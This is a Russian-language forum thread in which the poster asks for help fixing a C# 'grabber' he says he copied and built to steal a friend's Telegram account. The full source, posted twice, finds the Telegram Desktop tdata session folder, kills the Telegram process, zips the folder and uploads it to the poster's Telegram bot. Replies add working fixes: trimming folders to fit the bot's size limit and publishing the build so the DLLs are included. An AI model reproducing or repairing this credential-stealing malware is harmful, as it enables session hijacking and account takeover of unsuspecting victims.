Короче сделал какой то говно грабер tdat'ы с компа ( Ну как сделал отправку в telegram спиздил на другом форуме ) задумка в том чтобы файл отправлялся в telegram bot Хотел над кентом порофлить и спиздить тг ибо этот шалун качает все что ему кидают))) По итогу эта ошибка меня ебет уже день я не особо программист просто хотел спиздить тг у кента Но ошибка эта не дает что либо сделать( как ее можно исправить? using System; using System.Diagnostics; using System.IO; using System.IO.Compression; using System.Linq; using System.Net.Http; using System.Text; using System.Threading.Tasks; using Telegram.Bot; using Telegram.Bot.Types; using Telegram.Bot.Types.InputFiles; namespace NetFramesStart { class Program { static string zipFileName = "pach_to_tdata"; private static string token_bot = "тут типо мой токен"; private static long chat_id = тут типо мой chat id; static async Task Main(string[] args) { string USER_PC = Environment.UserName; string way_to_data_one = $@"C:\Windows.old\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\tdata"; string way_to_data_two = $@"C:\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\tdata"; if (Directory.Exists(way_to_data_one)) { Console.WriteLine("Папка найдена в первом пути!"); KillTelegramProcessIfRunning(); zipFileName = $@"C:\Windows.old\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\session-grund.zip"; CreateZipWithFolder(way_to_data_one, zipFileName); await SendFileToTelegram(zipFileName); } else if (Directory.Exists(way_to_data_two)) { Console.WriteLine("Папка найдена во втором пути!"); KillTelegramProcessIfRunning(); zipFileName = $@"C:\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\session-grund.zip"; CreateZipWithFolder(way_to_data_two, zipFileName); await SendFileToTelegram(zipFileName); } else { Console.WriteLine("Ни одна из папок не найдена."); return; } if (!string.IsNullOrEmpty(zipFileName) && System.IO.File.Exists(zipFileName)) { Console.WriteLine($"Архив создан: {zipFileName}"); } else { Console.WriteLine("Архив не был создан или файл не существует."); return; } } static void KillTelegramProcessIfRunning() { try { var processes = Process.GetProcessesByName("Telegram"); foreach (var process in processes) { Console.WriteLine("Обнаружен работающий процесс Telegram. Завершаем его..."); process.Kill(); process.WaitForExit(); Console.WriteLine("Процесс Telegram завершен."); } } catch (Exception ex) { Console.WriteLine($"Ошибка при завершении процесса Telegram: {ex.Message}"); return; } } static void CreateZipWithFolder(string folderPath, string zipFilePath) { try { using (ZipArchive zip = ZipFile.Open(zipFilePath, ZipArchiveMode.Create)) { string folderName = Path.GetFileName(folderPath); AddDirectoryToZip(zip, folderPath, folderName); } } catch (Exception ex) { Console.WriteLine($"Ошибка при создании архива: {ex.Message}"); return; } } static void AddDirectoryToZip(ZipArchive zip, string directoryPath, string folderNameInZip) { try { foreach (var file in Directory.GetFiles(directoryPath)) { try { string entryName = Path.Combine(folderNameInZip, Path.GetFileName(file)); if (IsFileInUse(file)) { continue; } zip.CreateEntryFromFile(file, entryName); } catch (Exception ex) { Console.WriteLine($"Ошибка при добавлении файла в архив: {ex.Message}"); return; } } foreach (var directory in Directory.GetDirectories(directoryPath)) { try { string subfolderName = Path.GetFileName(directory); AddDirectoryToZip(zip, directory, Path.Combine(folderNameInZip, subfolderName)); } catch (Exception ex) { Console.WriteLine($"Ошибка при добавлении подпапки в архив: {ex.Message}"); return; } } } catch (Exception ex) { Console.WriteLine($"Ошибка при обработке папки: {ex.Message}"); return; } } static async Task SendFileToTelegram(string filePath) { var botClient = new TelegramBotClient(token_bot); using (var stream = new FileStream(zipFileName, FileMode.Open)) { var inputFile = new InputOnlineFile(stream, Path.GetFileName(zipFileName)); await botClient.SendDocumentAsync(chat_id, inputFile); Console.WriteLine("Файл отправлен в Telegram."); } } static bool IsFileInUse(string filePath) { try { using (var stream = new FileStream(filePath, FileMode.Open, FileAccess.ReadWrite, FileShare.None)) { return false; } } catch { return true; } } } } CSHARP using System; using System.Diagnostics; using System.IO; using System.IO.Compression; using System.Linq; using System.Net.Http; using System.Text; using System.Threading.Tasks; using Telegram.Bot; using Telegram.Bot.Types; using Telegram.Bot.Types.InputFiles; namespace NetFramesStart { class Program { static string zipFileName = "pach_to_tdata"; private static string token_bot = "тут типо мой токен"; private static long chat_id = тут типо мой chat id; static async Task Main(string[] args) { string USER_PC = Environment.UserName; string way_to_data_one = $@"C:\Windows.old\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\tdata"; string way_to_data_two = $@"C:\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\tdata"; if (Directory.Exists(way_to_data_one)) { Console.WriteLine("Папка найдена в первом пути!"); KillTelegramProcessIfRunning(); zipFileName = $@"C:\Windows.old\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\session-grund.zip"; CreateZipWithFolder(way_to_data_one, zipFileName); await SendFileToTelegram(zipFileName); } else if (Directory.Exists(way_to_data_two)) { Console.WriteLine("Папка найдена во втором пути!"); KillTelegramProcessIfRunning(); zipFileName = $@"C:\Users\{USER_PC}\AppData\Roaming\Telegram Desktop\session-grund.zip"; CreateZipWithFolder(way_to_data_two, zipFileName); await SendFileToTelegram(zipFileName); } else { Console.WriteLine("Ни одна из папок не найдена."); return; } if (!string.IsNullOrEmpty(zipFileName) && System.IO.File.Exists(zipFileName)) { Console.WriteLine($"Архив создан: {zipFileName}"); } else { Console.WriteLine("Архив не был создан или файл не существует."); return; } } static void KillTelegramProcessIfRunning() { try { var processes = Process.GetProcessesByName("Telegram"); foreach (var process in processes) { Console.WriteLine("Обнаружен работающий процесс Telegram. Завершаем его..."); process.Kill(); process.WaitForExit(); Console.WriteLine("Процесс Telegram завершен."); } } catch (Exception ex) { Console.WriteLine($"Ошибка при завершении процесса Telegram: {ex.Message}"); return; } } static void CreateZipWithFolder(string folderPath, string zipFilePath) { try { using (ZipArchive zip = ZipFile.Open(zipFilePath, ZipArchiveMode.Create)) { string folderName = Path.GetFileName(folderPath); AddDirectoryToZip(zip, folderPath, folderName); } } catch (Exception ex) { Console.WriteLine($"Ошибка при создании архива: {ex.Message}"); return; } } static void AddDirectoryToZip(ZipArchive zip, string directoryPath, string folderNameInZip) { try { foreach (var file in Directory.GetFiles(directoryPath)) { try { string entryName = Path.Combine(folderNameInZip, Path.GetFileName(file)); if (IsFileInUse(file)) { continue; } zip.CreateEntryFromFile(file, entryName); } catch (Exception ex) { Console.WriteLine($"Ошибка при добавлении файла в архив: {ex.Message}"); return; } } foreach (var directory in Directory.GetDirectories(directoryPath)) { try { string subfolderName = Path.GetFileName(directory); AddDirectoryToZip(zip, directory, Path.Combine(folderNameInZip, subfolderName)); } catch (Exception ex) { Console.WriteLine($"Ошибка при добавлении подпапки в архив: {ex.Message}"); return; } } } catch (Exception ex) { Console.WriteLine($"Ошибка при обработке папки: {ex.Message}"); return; } } static async Task SendFileToTelegram(string filePath) { var botClient = new TelegramBotClient(token_bot); using (var stream = new FileStream(zipFileName, FileMode.Open)) { var inputFile = new InputOnlineFile(stream, Path.GetFileName(zipFileName)); await botClient.SendDocumentAsync(chat_id, inputFile); Console.WriteLine("Файл отправлен в Telegram."); } } static bool IsFileInUse(string filePath) { try { using (var stream = new FileStream(filePath, FileMode.Open, FileAccess.ReadWrite, FileShare.None)) { return false; } } catch { return true; } } } } Что делать с этой ошибкой уже все пробовал отправило только раз и то пустой архив
лучше обойтись библиотекой тг бота и просто с помощью запроса отправить тдату в бота. там ничего сложного.
Kalipso, Решил проблему tdata весит больше 200 мб если учитывать emoji и user data ( у меня ) добавил условия чтобы emoji и user data удаляло и вес снизился до 20 мб ( в бота максимум 50 мб можно закидывать )
кароче ошибка в том что,нету DLL файлов а именно тебе нужно билдить не пересобрать а Опубликовать и выбираешь может не так обьяснил думаю поймёшь The post was merged to previous Jan 30, 2025 и добавь файлы которые он не должен граббить user_data, user_data#2